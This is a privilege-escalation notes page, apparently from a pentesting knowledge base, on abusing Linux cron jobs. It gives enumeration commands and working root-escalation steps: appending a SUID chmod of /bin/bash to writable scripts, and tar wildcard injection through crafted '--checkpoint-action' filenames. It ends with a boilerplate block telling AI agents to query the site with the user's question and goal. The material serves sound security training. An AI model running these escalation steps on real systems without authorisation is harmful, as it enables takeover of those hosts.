> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/cron-jobs.md).

# Cron Jobs

Cron job privilege escalation notes for writable scripts, recurring root tasks, pspy64, Logstash jobs, and ImageMagick abuse.

Cron jobs create privilege escalation paths when recurring root tasks execute writable scripts, unsafe relative paths, or vulnerable processors. The key is to prove that a low-privileged user controls something that a privileged scheduled task will run.

## Methodology

* Review system crontabs, cron directories, timers, and writable scripts.
* Use pspy64 to observe short-lived processes without root.
* Check whether the job uses unsafe PATH values, writable files, or attacker-controlled input directories.

## Quick Checks

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## Writable Cron Targets

Look for scripts or directories that a privileged cron job executes and a low-privileged user can modify.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

Use `pspy64` when cron jobs are short-lived or not visible in static files:

```bash
./pspy64
```

If a root cron job runs a writable script, a simple validation path is to set a SUID bit on Bash and wait for the schedule to execute:

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### Wildcard Injection

If a cron job uses archive commands with wildcards over a writable directory, filenames can become command options.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

After the cron job runs:

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Cron Expression Calculator</h4></td><td>Search common cron expressions, special strings, field syntax, schedule meanings, and privilege escalation review notes.</td><td><a href="/privesc/cron-jobs/cron-expression-calculator.md">Cron Expression Calculator</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>pspy64 Cron Enumeration</h4></td><td>pspy64 Tool notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/cron-jobs/pspy64-cron-enumeration-linux-privilege-escalation.md">pspy64 Tool - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Modified Bash Script Cron Job</h4></td><td>Cron Jobs - Modified Script (Bash) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md">Modified Bash Script Cron Job - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Modified Python Script Cron Job</h4></td><td>Cron Jobs - Modified Script (Python) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md">Modified Python Script Cron Job - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>ImageMagick Cron Abuse</h4></td><td>Cron Jobs - ImageMagick Exploitation notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md">ImageMagick Cron Abuse - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Logstash Cron Abuse</h4></td><td>Cron Jobs (Logstash) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md">Logstash Cron Abuse - Linux Privilege Escalation</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/cron-jobs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.